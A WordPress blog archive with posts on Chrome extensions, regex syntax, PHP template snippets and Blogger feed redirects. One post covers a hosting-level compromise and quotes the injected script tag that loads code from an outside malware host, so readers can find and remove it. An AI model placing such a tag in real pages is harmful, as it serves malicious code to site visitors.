7 Chrome Extensions I can’t live without

Chrome has extensions!!  I have all of these installed, and my Chrome is as fast as ever.  Whereas, my Firefox locks up as soon as I open more than 5 tabs.

  1. Aviary – image editor and screenshot – taker – extraordinaire
  2. IE Tab – yup – see your sites in our special friend IE.
  3. LastPass – seriously?  Could NOT live without it.
  4. Pendule – a huge assortment of developer tools – view scripts, stylesheets, source code, colors, rulers, everything!
  5. SEO Doctor – view site load times, DNS, and more
  6. Speed Tracer – see exactly how fast your sites load and why
  7. W3C Validator – for xhtml – this is one of the most helpful UIs I’ve seen for a validator too.
  8. Wajig IP Reveal – just see where you are! So handy when you’re messing with DNS.
Posted in Cool Tech Stuff | Tagged | 1 Comment

Media Temple vulnerability to ‘helloguard17′

I’ve spent the larger part of today troubleshooting this redirect.

Do you get redirected to a site containing a virus?

If you or your readers are looking at your site and are redirected, check the browser address bar for a link like www2(dot)helloguard17(dot)co(dot)cc. That site is trying to spread viruses to your computer. Don’t click the ‘cancel link’. Just click the ‘x’ in the corner box, and leave the site; or close down your browser window entirely.

Find the malicious code

The code you’re looking for is:

<script src="http://ae.awaue.com/7"></script>

That little line of code is linking to this script: http://wordpress.pastebin.com/uTPdyr4q The last line in that script is a tinyurl – http(tinyurl)/2465hze which makes spam filters and security software go nuts. Don’t click it!

Let your Host Company know

Contact the support team at your host company so they can rid the server of the code that is inserting these little snippets into nearly every post.

Clean up your site

I have used the Search Regex plugin by John Godley many times to get me out of fixes. I’m a huge fan! Search for the string:

<script src="http://ae.awaue.com/7"></script>

and leave the ‘replace with’ field empty. Search for all instances, confirm that it is the entire script that was inserted, and click search & save. That bit is done.

Wait for your host

There is very little you can do to prevent this until the host company rids the server of the malicious script.

Disable Maintenance

If you’re using a maintenance screen, remember to disable it!

Posted in Security | 5 Comments

The Number One Way to Test your Regular Expressions

The Regex Coach kicks ass.

Get it here: http://weitz.de/regex-coach/

The Regex Coach

The Regex Coach

Posted in Moving Blogs | Tagged , , , | Leave a comment

Whats left to say?  Somehow Tweetable, when removed, also removed the error.  There were also over 20 other plugins installed and a large media library, so ya know, take it with a grain of salt.  The author has been notified on the forums at the plugin repository.

The error?

The entire site was blank, the admin side was blank.  And also, perhaps by coincidence, there was a php loading-libraries error which is why the whole shebang didn’t load.

Posted on by CathyT | 1 Comment

Cheat List for Regular Expressions (Redirections Plugin)

Cheat Sheet for using regex in Redirection Plugin by John Godfrey.

Construct Matches
Characters
x The character x
\\ The backslash character
\0n The character with octal value 0n (0 <= n <= 7)
\0nn The character with octal value 0nn (0 <= n <= 7)
\0mnn The character with octal value 0mnn (0 <= m <= 3, 0 <= n <= 7)
\xhh The character with hexadecimal value 0xhh
\uhhhh The character with hexadecimal value 0xhhhh
\t The tab character ('\u0009')
\n The newline (line feed) character ('\u000A')
\r The carriage-return character ('\u000D')
\f The form-feed character ('\u000C')
\a The alert (bell) character ('\u0007')
\e The escape character ('\u001B')
\cx The control character corresponding to x
Character classes
[abc] ab, or c (simple class)
[^abc] Any character except ab, or c (negation)
[a-zA-Z] a through z or A through Z, inclusive (range)
[a-d[m-p]] a through d, or m through p[a-dm-p] (union)
[a-z&&[def]] de, or f (intersection)
[a-z&&[^bc]] a through z, except for b and c[ad-z] (subtraction)
[a-z&&[^m-p]] a through z, and not m through p[a-lq-z](subtraction)
Predefined character classes
. Any character (may or may not match line terminators)
\d A digit: [0-9]
\D A non-digit: [^0-9]
\s A whitespace character: [ \t\n\x0B\f\r]
\S A non-whitespace character: [^\s]
\w A word character: [a-zA-Z_0-9]
\W A non-word character: [^\w]
POSIX character classes (US-ASCII only)
\p{Lower} A lower-case alphabetic character: [a-z]
\p{Upper} An upper-case alphabetic character:[A-Z]
\p{ASCII} All ASCII:[\x00-\x7F]
\p{Alpha} An alphabetic character:[\p{Lower}\p{Upper}]
\p{Digit} A decimal digit: [0-9]
\p{Alnum} An alphanumeric character:[\p{Alpha}\p{Digit}]
\p{Punct} Punctuation: One of !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
\p{Graph} A visible character: [\p{Alnum}\p{Punct}]
\p{Print} A printable character: [\p{Graph}\x20]
\p{Blank} A space or a tab: [ \t]
\p{Cntrl} A control character: [\x00-\x1F\x7F]
\p{XDigit} A hexadecimal digit: [0-9a-fA-F]
\p{Space} A whitespace character: [ \t\n\x0B\f\r]
java.lang.Character classes (simple java character type)
\p{javaLowerCase} Equivalent to java.lang.Character.isLowerCase()
\p{javaUpperCase} Equivalent to java.lang.Character.isUpperCase()
\p{javaWhitespace} Equivalent to java.lang.Character.isWhitespace()
\p{javaMirrored} Equivalent to java.lang.Character.isMirrored()
Classes for Unicode blocks and categories
\p{InGreek} A character in the Greek block (simple block)
\p{Lu} An uppercase letter (simple category)
\p{Sc} A currency symbol
\P{InGreek} Any character except one in the Greek block (negation)
[\p{L}&&[^\p{Lu}]] Any letter except an uppercase letter (subtraction)
Boundary matchers
^ The beginning of a line
$ The end of a line
\b A word boundary
\B A non-word boundary
\A The beginning of the input
\G The end of the previous match
\Z The end of the input but for the final terminator, if any
\z The end of the input
Greedy quantifiers
X? X, once or not at all
X* X, zero or more times
X+ X, one or more times
X{n} X, exactly n times
X{n,} X, at least n times
X{n,m} X, at least n but not more than m times
Reluctant quantifiers
X?? X, once or not at all
X*? X, zero or more times
X+? X, one or more times
X{n}? X, exactly n times
X{n,}? X, at least n times
X{n,m}? X, at least n but not more than m times
Possessive quantifiers
X?+ X, once or not at all
X*+ X, zero or more times
X++ X, one or more times
X{n}+ X, exactly n times
X{n,}+ X, at least n times
X{n,m}+ X, at least n but not more than m times
Logical operators
XY X followed by Y
X|Y Either X or Y
(X) X, as a capturing group
Back references
\n Whatever the nth capturing group matched
Quotation
\ Nothing, but quotes the following character
\Q Nothing, but quotes all characters until \E
\E Nothing, but ends quoting started by \Q
Special constructs (non-capturing)
(?:X) X, as a non-capturing group
(?idmsux-idmsux) Nothing, but turns match flags on – off
(?idmsux-idmsux:X) X, as a non-capturing group with the given flags on – off
(?=X) X, via zero-width positive lookahead
(?!X) X, via zero-width negative lookahead
(?<=X) X, via zero-width positive lookbehind
(?<!X) X, via zero-width negative lookbehind
(?>X) X, as an independent, non-capturing group

Full list of Regular Expression Documention at oracle.com.

Tomorrow I’ll post the necessary regex for moving from Blogger to WordPress

Posted in Moving Blogs | Tagged , , , | Leave a comment

Forwarding Blogger Comment Feeds to WordPress blog

Another tip for redirecting blogger to WordPress -

addressing the Feed forwarding from Blogger – here is an excerpt explaining all the Blogger Feed Links Formatting:

Per-post comment feeds from Blogger

As for comments, but add “/postID” before “/comments” where postID is the ID of that particular post (and add ?alt=rss at the end if you want an RSS feed) e.g.

http://www.blogger.com/feeds/BLOGID/POSTID/comments/TYPE

Read the whole article here: http://www.consumingexperience.com/2008/07/blogger-unofficial-feed-faq.html#ref

Posted in Moving Blogs | Tagged | 1 Comment

Redirect to any url without a plugin

Want a page on the site that automatically redirects the visitor to a new url? Simply use custom fields:

1. Name= “redirect_url”
2. Value= your url

Awesome! One more plugin you can deactivate and delete. :)

Posted in Built-In WordPress Functions | Leave a comment

Paged Navigation for Comments (similar to pagenavi plugin)

We used this code in the comments template:

<?php $args = array(
  'show_all' => false,
  'prev_next' => true,
  'prev_text' => __('« '),
  'next_text' => __(' »'),
  'end_size' => 3,
  'mid_size' => 7,
  'type' => 'list',
  'add_args' => false,
);?>
<div class="comment-nav">
<h3>Comments: <?php paginate_comments_links( $args ) ?></h3>
</div>

And with a little css produced this result:

Comment Paging Navigation

Posted in Built-In WordPress Functions, PHP Snippets | 1 Comment

Single Post Page wizardry – with categories

Feature a Category on the Single Post page

At the top of our page, we were styling a separate call out box to feature the category and its description. Then we want to link to all the sibling categories so the reader can go back and select a different category to view.

Use with one category

This only worked for us because the post was assigned to ONE Category ONLY. If there are more than one category, the first category the database runs across will be used (I think).

Php snippet to put above the loop in the single post template

<?php if (have_posts()) : ?>
                                <?php while (have_posts()) : the_post(); ?>

         <?php foreach (get_the_category('') as $category); ?>

      <div class="cat_box">

                        	<p><span>Topic</span> <?php echo $category->cat_name; ?></p>

				<p><?php echo $category->category_description; ?></p>

                            <div class="clear"></div>
<?php
//here we create the link to the parent category

$cat_parent = $category->category_parent;
$category_link = get_category_link( $cat_parent ); ?>

<div><a href="<?php echo get_category_link($category);?>" title="<?php echo $category->cat_name;?>">See more answers</a></div>

                        </div> <!-- end cat box-->                 

——————————————–
//if you’ve used this with your own template, I’d be interested to know how the multiple categories showed up!

Posted in PHP Snippets | Tagged , , | Leave a comment

Thesis Function to remove headline meta data


//Remove byline data with IF statement
///////////////
function remove_headline_meta () {
if (is_archive() || is_category()) { ?>
<style type="text/css"> .headline_meta {display:none;} </style>
<? } } 

add_action('wp_head' , 'remove_headline_meta');

* Nearly all thesis functions were copied directly or created from snippets posted at the DIY Themes Support Forums (aff link)

Posted in PHP Snippets, Thesis Theme Modifications | Tagged , | 3 Comments